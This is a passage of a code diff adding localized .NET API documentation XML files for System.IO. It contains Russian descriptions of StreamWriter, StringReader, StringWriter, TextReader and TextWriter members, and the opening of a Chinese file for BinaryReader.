строка (""). + Недостаточно памяти для размещения буфера возвращаемых строк. + Ошибка ввода-вывода. + 1 + + + Асинхронно считывает все символы, начиная с текущей позиции до конца потока, и возвращает их в виде одной строки. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит строку с символами от текущего положения до конца потока. + Количество символов больше . + Поток был ликвидирован. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Реализует для записи символов в поток в определенной кодировке.Чтобы просмотреть исходный код .NET Framework для этого типа, см. ссылки на источник. + 1 + + + Инициализирует новый экземпляр класса для указанного потока, используя кодировку UTF-8 и размер буфера по умолчанию. + Поток, в который требуется выполнить запись. + Запись в поток запрещена. + + is null. + + + Инициализирует новый экземпляр класса для указанного потока, используя заданную кодировку и размер буфера по умолчанию. + Поток, в который требуется выполнить запись. + Кодировка символов, которую нужно использовать. + Значение параметра или — null. + Запись в поток запрещена. + + + Инициализирует новый экземпляр класса для указанного потока, используя заданную кодировку и размер буфера. + Поток, в который требуется выполнить запись. + Кодировка символов, которую нужно использовать. + Размер буфера в байтах. + Значение параметра или — null. + Значение отрицательно. + Запись в поток запрещена. + + + Инициализирует новый экземпляр класса для указанного потока, используя заданную кодировку и размер буфера, а также при необходимости оставляет поток открытым. + Поток, в который требуется выполнить запись. + Кодировка символов, которую нужно использовать. + Размер буфера в байтах. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + Значение параметра или — null. + Значение отрицательно. + Запись в поток запрещена. + + + Получает или задает значение, определяющее, будет ли сбрасывать буфер в основной поток после каждого вызова . + Значение true, чтобы заставить сбросить буфер; в противном случае — false. + 1 + + + Получает основной поток, связанный с резервным хранилищем. + Поток, в который StreamWriter выполняет запись. + 2 + + + Освобождает неуправляемые ресурсы, используемые объектом , а при необходимости освобождает также управляемые ресурсы. + trueЧтобы освободить управляемые и неуправляемые ресурсы; false чтобы освободить только неуправляемые ресурсы. + Текущая кодировка не поддерживает отображение половины суррогатной пары Юникода. + + + Получает кодировку , в которой осуществляется запись выходных данных. + Кодировка , указанная в конструкторе для текущего экземпляра, или , если кодировка не задана. + 2 + + + Очищает все буферы для текущего средства записи и вызывает запись всех данных буфера в основной поток. + Текущее средство записи закрывается. + Произошла ошибка ввода-вывода. + Текущая кодировка не поддерживает отображение половины суррогатной пары Юникода. + 1 + + + Асинхронно очищает все буферы для этого потока и вызывает запись всех буферизованных данных в базовое устройство. + Задача, представляющая асинхронную операцию очистки. + Поток был ликвидирован. + + + Предоставляет StreamWriter без резервного хранилища, в который можно осуществлять запись, но из которого нельзя считывать данные. + 1 + + + Записывает символ в поток. + Символ, записываемый в поток. + Ошибка ввода-вывода. + + имеет значение True, или буфер полон, и текущее средство записи закрывается. + + имеет значение True, или буфер полон, и его содержимое не может быть записано в основной поток заданного размера, поскольку находится в конце потока. + 1 + + + Записывает в поток массив символов. + Массив символов, содержащий записываемые в поток данные.Если имеет значение null, запись не выполняется. + Ошибка ввода-вывода. + + имеет значение True, или буфер полон, и текущее средство записи закрывается. + + имеет значение True, или буфер полон, и его содержимое не может быть записано в основной поток заданного размера, поскольку находится в конце потока. + 1 + + + Записывает в поток дочерний массив символов. + Массив символов, содержащий записываемые данные. + Положение символа в буфере, с которого начинается чтение данных. + Наибольшее количество символов для записи. + + is null. + Длина буфера за вычетом значения параметра меньше значения параметра . + Значение параметра или является отрицательным. + Ошибка ввода-вывода. + + имеет значение True, или буфер полон, и текущее средство записи закрывается. + + имеет значение True, или буфер полон, и его содержимое не может быть записано в основной поток заданного размера, поскольку находится в конце потока. + 1 + + + Записывает в поток строку. + Строка, записываемая в поток.Если равняется null, запись не выполняется. + + имеет значение True, или буфер полон, и текущее средство записи закрывается. + + имеет значение True, или буфер полон, и его содержимое не может быть записано в основной поток заданного размера, поскольку находится в конце потока. + Ошибка ввода-вывода. + 1 + + + Асинхронно записывает символ в поток. + Задача, представляющая асинхронную операцию записи. + Символ, записываемый в поток. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает дочерний массив символов в поток. + Задача, представляющая асинхронную операцию записи. + Массив символов, содержащий записываемые данные. + Положение символа в буфере с которого начинается чтение данных. + Наибольшее количество символов для записи. + + is null. + Сумма значений параметров и превышает длину буфера. + Значение параметра или является отрицательным. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает строку в поток. + Задача, представляющая асинхронную операцию записи. + Строка, записываемая в поток.Если имеет значение null, запись не выполняется. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в поток признак конца строки. + Задача, представляющая асинхронную операцию записи. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в поток символ, за которым следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Символ, записываемый в поток. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Асинхронного записывает в поток дочерний массив символов, за которыми следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Массив символов, из которого записываются данные. + Положение символа в буфере, с которого начинается чтение данных. + Наибольшее количество символов для записи. + + is null. + Сумма значений параметров и превышает длину буфера. + Значение параметра или является отрицательным. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в поток строку, за которой следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Строка для записи.Если значение равно null, записывается только знак завершения строки. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Реализует класс , осуществляющий чтение из строки. + 2 + + + Инициализирует новый экземпляр класса , осуществляющий чтение из указанной строки. + Строка, для которой должен быть инициализирован класс . + Значение параметра — null. + + + Освобождает неуправляемые ресурсы, используемые (при необходимости освобождает и управляемые ресурсы). + Значение true позволяет освободить управляемые и неуправляемые ресурсы; значение false позволяет освободить только неуправляемые ресурсы. + + + Возвращает следующий доступный символ, но не использует его. + Целое число, представляющее следующий символ, чтение которого необходимо выполнить, или значение -1, если доступных символов больше нет или поток не поддерживает поиск. + Текущее средство чтения закрыто. + 2 + + + Считывает следующий символ из строки ввода и увеличивает позицию символа на один символ. + Следующий символ из основной строки или значение -1, если больше нет доступных символов. + Текущее средство чтения закрыто. + 2 + + + Считывает блок символов из строки ввода и увеличивает позицию символов на . + Общее количество символов, считанных в буфер.Оно может быть меньше, чем число запрошенных символов, если большинство символов не доступно в текущий момент, или равно нулю, если достигнут конец основной строки. + При возвращении данного метода содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Начальный индекс в буфере. + Количество символов, которые необходимо считать. + Параметр имеет значение null. + Длина буфера за вычетом значения параметра меньше значения параметра . + Значение параметра или является отрицательным. + Текущее средство чтения закрыто. + 2 + + + Асинхронно считывает указанное максимальное количество символов из текущей строки и записывает данные в буфер, начиная с заданного индекса. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число текущих доступных байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец строки. + При возвращении данного метода содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Наибольшее число символов для чтения.Если конец строки достигнут, прежде чем в буфер записано указанное количество символов, метод возвращает управление. + Параметр имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Удалено средство чтения строки. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Асинхронно считывает указанное максимальное количество символов из текущей строки и записывает данные в буфер, начиная с заданного индекса. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число текущих доступных байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец строки. + При возвращении данного метода содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Наибольшее число символов для чтения.Если конец строки достигнут, прежде чем в буфер записано указанное количество символов, метод возвращает управление. + Параметр имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Удалено средство чтения строки. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Выполняет чтение строки символов из текущей строки и возвращает данные в виде строки. + Следующая строка из текущей строки, или значение null, если достигнут конец строки. + Текущее средство чтения закрыто. + Недостаточно памяти для размещения буфера возвращаемых строк. + 2 + + + Асинхронно выполняет чтение строки символов из текущей строки и возвращает данные в виде строки. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит следующую строку из средства чтения строк или значение null, если все знаки считаны. + Количество символов в следующей строке больше . + Удалено средство чтения строки. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Выполняет чтение всех символов, начиная с текущей позиции до конца строки, и возвращает их в виде одной строки. + Содержимое, начиная от текущей позиции до конца основной строки. + Недостаточно памяти для размещения буфера возвращаемых строк. + Текущее средство чтения закрыто. + 2 + + + Асинхронно считывает все символы, начиная с текущей позиции до конца строки, и возвращает их в виде одной строки. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит строку с символами от текущего положения до конца строки. + Количество символов больше . + Удалено средство чтения строки. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Реализует для записи данных в строку.Данные хранятся в основном . + 2 + + + Инициализирует новый экземпляр класса . + + + Инициализирует новый экземпляр класса с указанным форматом объекта. + Объект , управляющий форматированием. + + + Инициализирует новый экземпляр класса , с помощью которого осуществляется запись в указанный класс . + Класс StringBuilder, в который осуществляется запись. + Параметр имеет значение null. + + + Инициализирует новый экземпляр класса , с помощью которого осуществляется запись в указанный класс и который имеет указанный формат поставщика. + Класс StringBuilder, в который осуществляется запись. + Объект , управляющий форматированием. + Параметр имеет значение null. + + + Освобождает неуправляемые (а при необходимости и управляемые) ресурсы, используемые объектом . + Значение true позволяет освободить управляемые и неуправляемые ресурсы; значение false позволяет освободить только неуправляемые ресурсы. + + + Получает кодировку , в которой осуществляется запись выходных данных. + Encoding, в которой осуществляется запись выходных данных. + 1 + + + Асинхронно очищает все буферы текущего средства записи и вызывает запись всех буферизованных данных в базовое устройство. + Задача, представляющая асинхронную операцию очистки. + + + Возвращает основной . + Базовый StringBuilder. + 2 + + + Возвращает строку, содержащую символы, записанные до этого момента в текущий StringWriter. + Строка, содержащая символы, записанные в текущий StringWriter. + 2 + + + Записывает символ в строку. + Символ для записи. + Средство записи закрыто. + 2 + + + Записывает в строку дочерний массив символов. + Массив символов, из которого записываются данные. + Положение в буфере, с которого начинается чтение данных. + Наибольшее количество символов для записи. + Параметр имеет значение null. + Значение параметра или является отрицательным. + ( + )> .Length. + Средство записи закрыто. + 2 + + + Записывает строку в текущую строку. + Строка для записи. + Средство записи закрыто. + 2 + + + Выполняет асинхронную запись символа в строку. + Задача, представляющая асинхронную операцию записи. + Символ, записываемый в строку. + Удалено средство записи строки. + Средство записи строки в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает дочерний массив символов в строку. + Задача, представляющая асинхронную операцию записи. + Массив символов, из которого записываются данные. + Положение в буфере, с которого начинается чтение данных. + Наибольшее количество символов для записи. + Параметр имеет значение null. + Сумма значений параметров и превышает длину буфера. + Значение параметра или является отрицательным. + Удалено средство записи строки. + Средство записи строки в настоящее время используется предыдущей операцией записи. + + + Выполняет асинхронную запись строки в текущую строку. + Задача, представляющая асинхронную операцию записи. + Строка для записи.Если параметр имеет значение null, в текстовый поток ничего записано не будет. + Удалено средство записи строки. + Средство записи строки в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в строку символ, за которым следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Символ, записываемый в строку. + Удалено средство записи строки. + Средство записи строки в настоящее время используется предыдущей операцией записи. + + + Асинхронного записывает в строку дочерний массив символов, за которыми следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Массив символов, из которого записываются данные. + Положение в буфере, с которого начинается чтение данных. + Наибольшее количество символов для записи. + Параметр имеет значение null. + Сумма значений параметров и превышает длину буфера. + Значение параметра или является отрицательным. + Удалено средство записи строки. + Средство записи строки в настоящее время используется предыдущей операцией записи. + + + Асинхронного записывает в текущий поток строку, за которой следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Строка для записи.Если значение равно null, записывается только знак завершения строки. + Удалено средство записи строки. + Средство записи строки в настоящее время используется предыдущей операцией записи. + + + Представляет средство чтения, позволяющее считывать последовательные наборы символов. + 2 + + + Инициализирует новый экземпляр класса . + + + Освобождает все ресурсы, используемые объектом . + + + Освобождает неуправляемые ресурсы, используемые объектом , а при необходимости освобождает также и управляемые ресурсы. + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + Предоставляет TextReader без данных, доступных для чтения. + 1 + + + Выполняет чтение следующего символа, не изменяя состояние средства чтения или источника символа.Возвращает следующий доступный символ, фактически не считывая его из средства чтения. + Целое число, представляющее следующий символ, чтение которого необходимо выполнить, или значение -1, если доступных символов больше нет или средство чтения не поддерживает поиск. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Выполняет чтение следующего символа из средства чтения текста и перемещает положение символа на одну позицию вперед. + Следующий символ из средства чтения текста или значение -1, если доступных символов больше нет.Реализация по умолчанию возвращает значение -1. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Считывает указанное максимальное количество символов из текущего средства чтения и записывает данные в буфер, начиная с заданного индекса. + Количество считанных символов.Количество будет меньше или равно в зависимости от доступности данных в средстве чтения.Этот метод возвращает 0 (нуль), если его вызвать при отсутствии символов, доступных для чтения. + При возвращении данного метода содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов.Если конец средства чтения достигнут, прежде чем в буфер считано указанное количество символов, метод возвращает управление. + Свойство имеет значение null. + Длина буфера за вычетом значения параметра меньше значения параметра . + Значение параметра или является отрицательным. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Асинхронно считывает указанное максимальное количество символов из текущего средства чтения текста и записывает данные в буфер, начиная с указанного индекса. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число текущих доступных байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец текста. + При возвращении данного метода содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов.Если конец текста достигнут, прежде чем указанное количество символов считывается в буфер, текущий метод возвращает управление. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Удалено средство чтения текста. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Считывает указанное максимальное количество символов из текущего средства чтения текста и записывает данные в буфер, начиная с заданного индекса. + Количество считанных символов.Число будет меньше или равно значению в зависимости от того, считаны ли все входящие символы. + При возвращении данного метода этот параметр содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов. + Свойство имеет значение null. + Длина буфера за вычетом значения параметра меньше значения параметра . + Значение параметра или является отрицательным. + Объект закрыт. + Ошибка ввода-вывода. + 2 + + + Асинхронно считывает указанное максимальное количество символов из текущего средства чтения текста и записывает данные в буфер, начиная с указанного индекса. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число текущих доступных байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец текста. + При возвращении данного метода содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов.Если конец текста достигнут, прежде чем указанное количество символов считывается в буфер, текущий метод возвращает управление. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Удалено средство чтения текста. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Выполняет чтение строки символов из средства чтения текста и возвращает данные в виде строки. + Следующая строка из средства чтения, или значение null, если все символы считаны. + Ошибка ввода-вывода. + Недостаточно памяти для размещения буфера возвращаемых строк. + Объект закрыт. + Количество символов в следующей строке больше . + 1 + + + Асинхронно выполняет чтение строки символов и возвращает данные в виде строки. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит следующую строку из средства чтения текста или значение null, если все знаки считаны. + Количество символов в следующей строке больше . + Удалено средство чтения текста. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Считывает все символы, начиная с текущей позиции до конца средства чтения текста, и возвращает их в виде одной строки. + Строка, содержащая все символы, начиная с текущей позиции до конца средства чтения текста. + Ошибка ввода-вывода. + Объект закрыт. + Недостаточно памяти для размещения буфера возвращаемых строк. + Количество символов в следующей строке больше . + 1 + + + Асинхронно считывает все символы с текущей позиции до конца средства чтения текста и возвращает их в виде одной строки. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит строку с символами от текущего положения до конца средства чтения текста. + Количество символов больше . + Удалено средство чтения текста. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Представляет модуль записи, который может записывать последовательные наборы символов.Это абстрактный класс. + 2 + + + Инициализирует новый экземпляр класса . + + + Инициализирует новый экземпляр класса указанным поставщиком формата. + Объект , управляющий форматированием. + + + Сохраняет символы новой строки, используемые для данного TextWriter. + + + Освобождает все ресурсы, используемые объектом . + + + Освобождает неуправляемые ресурсы, используемые объектом , а при необходимости освобождает также управляемые ресурсы. + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + При переопределении в производном классе возвращает кодировку символов, в которой записаны выходные данные. + Кодировка символов, в которой осуществляется запись выходных данных. + 1 + + + Очищает все буферы текущего модуля записи и вызывает немедленную запись всех буферизованных данных на базовое устройство. + 1 + + + Асинхронно очищает все буферы текущего средства записи и вызывает запись всех буферизованных данных в базовое устройство. + Задача, представляющая асинхронную операцию очистки. + Удалено средство записи текста. + Средство записи в настоящее время используется предыдущей операцией записи. + + + Возвращает объект, управляющий форматированием. + Объект для указанного языка и региональных параметров или форматирование текущего языка и региональных параметров, если не заданы другие. + 2 + + + Возвращает или задает признак конца строки, используемой текущим TextWriter. + Признак конца строки для текущего TextWriter. + 2 + + + Предоставляет TextWriter без резервного хранилища, в который можно осуществлять запись, но из которого нельзя считывать данные. + 1 + + + Записывает в текстовую строку или поток текстовое представление значения Boolean. + Значение Boolean для записи. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Выполняет запись символа в текстовую строку или поток. + Символ, записываемый в текстовый поток. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Выполняет запись массива символов в текстовую строку или поток. + Массив символов, записываемый в текстовый поток. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает дочерний массив символов в текстовую строку или поток. + Массив символов, из которого записываются данные. + Положение символа в буфере, с которого начинается извлечение данных. + Количество символов для записи. + Длина буфера за вычетом значения параметра меньше значения параметра . + Параметр имеет значение null. + Значение параметра или является отрицательным. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает текстовое представление десятичного значения в текстовую строку или поток. + Десятичное значение, которое необходимо записать. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление значения с плавающей запятой размером 8 байт. + Записываемое значение с плавающей запятой размером 8 байт. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа со знаком размером 4 байта. + Записываемое целое число со знаком размером 4 байта. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа со знаком размером 8 байт. + Записываемое целое число со знаком размером 8 байт. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление объекта с помощью вызова метода ToString для этого объекта. + Записываемый объект. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление значения с плавающей запятой размером 4 байта. + Записываемое значение с плавающей запятой размером 4 байта. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Асинхронно записывает строку в текстовую строку или поток. + Строка для записи. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает форматированную строку в текстовую строку или поток, используя ту же семантику, что и метод . + Строка составного формата (см. примечания). + Объект для форматирования и записи. + Свойство имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля) или больше или равен числу объектов, которые необходимо отформатировать (которое для этой перегрузки метода равно 1). + 1 + + + Записывает форматированную строку в текстовую строку или поток, используя ту же семантику, что и метод . + Строка составного формата (см. примечания). + Первый объект для форматирования и записи. + Второй объект для форматирования и записи. + Свойство имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля) или больше или равен числу объектов, которые необходимо отформатировать (которое для этой перегрузки метода равно 2). + 1 + + + Записывает форматированную строку в текстовую строку или поток, используя ту же семантику, что и метод . + Строка составного формата (см. примечания). + Первый объект для форматирования и записи. + Второй объект для форматирования и записи. + Третий объект для форматирования и записи. + Свойство имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля) или больше или равен числу объектов, которые необходимо отформатировать (которое для этой перегрузки метода равно 3). + 1 + + + Записывает форматированную строку в текстовую строку или поток, используя ту же семантику, что и метод . + Строка составного формата (см. примечания). + Массив объектов, содержащий от нуля и более объектов, которые необходимо форматировать и записать. + Параметр или имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля), либо больше или равен длине массива . + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа без знака размером 4 байта. + Записываемое целое число без знака размером 4 байта. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа без знака размером 8 байт. + Записываемое целое число без знака размером 8 байт. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Выполняет асинхронную запись символа в текстовую строку или поток. + Задача, представляющая асинхронную операцию записи. + Символ, записываемый в текстовый поток. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Выполняет асинхронную запись массива символов в текстовую строку или поток. + Задача, представляющая асинхронную операцию записи. + Массив символов, записываемый в текстовый поток.Если имеет значение null, запись не выполняется. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает дочерний массив символов в текстовую строку или поток. + Задача, представляющая асинхронную операцию записи. + Массив символов, из которого записываются данные. + Положение символа в буфере, с которого начинается извлечение данных. + Количество символов для записи. + Свойство имеет значение null. + Сумма значений параметров и превышает длину буфера. + Значение параметра или является отрицательным. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Выполняет асинхронную запись строки в текстовую строку или поток. + Задача, представляющая асинхронную операцию записи. + Строка для записи.Если параметр имеет значение null, в текстовый поток ничего не записывается. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Записывает признак конца строки в текстовую строку или поток. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление значения Boolean, за которым следует признак конца строки. + Значение Boolean для записи. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток символ, за которым следует признак конца строки. + Символ, записываемый в текстовый поток. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток массив символов, за которыми следует признак конца строки. + Массив символов, из которого считываются данные. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток дочерний массив символов, за которыми следует признак конца строки. + Массив символов, из которого считываются данные. + Положение символа в , с которого начинается чтение данных. + Наибольшее количество символов для записи. + Длина буфера за вычетом значения параметра меньше значения параметра . + Параметр имеет значение null. + Значение параметра или является отрицательным. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление десятичного значения, за которым следует признак конца строки. + Десятичное значение, которое необходимо записать. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление значения с плавающей запятой размером 8 байта, за которым следует признак конца строки. + Записываемое значение с плавающей запятой размером 8 байт. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа со знаком размером 4 байта, за которым следует признак конца строки. + Записываемое целое число со знаком размером 4 байта. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа со знаком размером 8 байт, за которым следует признак конца строки. + Записываемое целое число со знаком размером 8 байт. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление объекта путем вызова метода ToString для этого объекта, за которым следует признак конца строки. + Записываемый объект.Если имеет значение null, записывается только признак конца строки. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление значения с плавающей запятой размером 4 байта, за которым следует признак конца строки. + Записываемое значение с плавающей запятой размером 4 байта. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток строку, за которой следует признак конца строки. + Строка для записи.Если имеет значение null, записывается только признак конца строки. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает форматированную строку и новую строку в текстовую строку или поток, используя ту же семантику, что и метод . + Строка составного формата (см. примечания). + Объект для форматирования и записи. + Свойство имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля) или больше или равен числу объектов, которые необходимо отформатировать (которое для этой перегрузки метода равно 1). + 1 + + + Записывает форматированную строку и новую строку в текстовую строку или поток, используя ту же семантику, что и метод . + Строка составного формата (см. примечания). + Первый объект для форматирования и записи. + Второй объект для форматирования и записи. + Свойство имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля) или больше или равен числу объектов, которые необходимо отформатировать (которое для этой перегрузки метода равно 2). + 1 + + + Записывает отформатированную строку и новую строку, используя ту же семантику, что и . + Строка составного формата (см. примечания). + Первый объект для форматирования и записи. + Второй объект для форматирования и записи. + Третий объект для форматирования и записи. + Свойство имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля) или больше или равен числу объектов, которые необходимо отформатировать (которое для этой перегрузки метода равно 3). + 1 + + + Записывает отформатированную строку и новую строку, используя ту же семантику, что и . + Строка составного формата (см. примечания). + Массив объектов, содержащий от нуля и более объектов, которые необходимо форматировать и записать. + Строка или объект передаются в виде null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля), либо больше или равен длине массива . + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа без знака размером 4 байта, за которым следует признак конца строки. + Записываемое целое число без знака размером 4 байта. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа без знака размером 8 байт, за которым следует признак конца строки. + Записываемое целое число без знака размером 8 байт. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Асинхронно записывает признак конца строки в текстовую строку или поток. + Задача, представляющая асинхронную операцию записи. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в текстовую строку или поток символ, за которым следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Символ, записываемый в текстовый поток. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в текстовую строку или поток массив символов, за которыми следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Массив символов, записываемый в текстовый поток.Если массив символов имеет значение null, записывается только признак конца строки. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в текстовую строку или поток дочерний массив символов, за которыми следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Массив символов, из которого записываются данные. + Положение символа в буфере, с которого начинается извлечение данных. + Количество символов для записи. + Свойство имеет значение null. + Сумма значений параметров и превышает длину буфера. + Значение параметра или является отрицательным. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в текстовую строку или поток строку, за которой следует знак конца строки. + Задача, представляющая асинхронную операцию записи. + Строка для записи.Если значение равно null, записывается только знак конца строки. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.0/zh-hans/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.0/zh-hans/System.IO.xml new file mode 100644 index 0000000..4b2e096 --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.0/zh-hans/System.IO.xml @@ -0,0 +1,2237 @@ + + + + System.IO + + + + 用特定的编码将基元数据类型读作二进制值。 + 2 + + + 基于所指定的流和特定的 UTF-8 编码，初始化 类的新实例。 + 输入流。 + 该流不支持读取，为null 或已关闭。 + + + 基于所指定的流和特定的字符编码，初始化 类的新实例。 + 输入流。 + 要使用的字符编码。 + 该流不支持读取，为null 或已关闭。 + + 为 null。 + + + 基于所提供的流和特定的字符编码，初始化 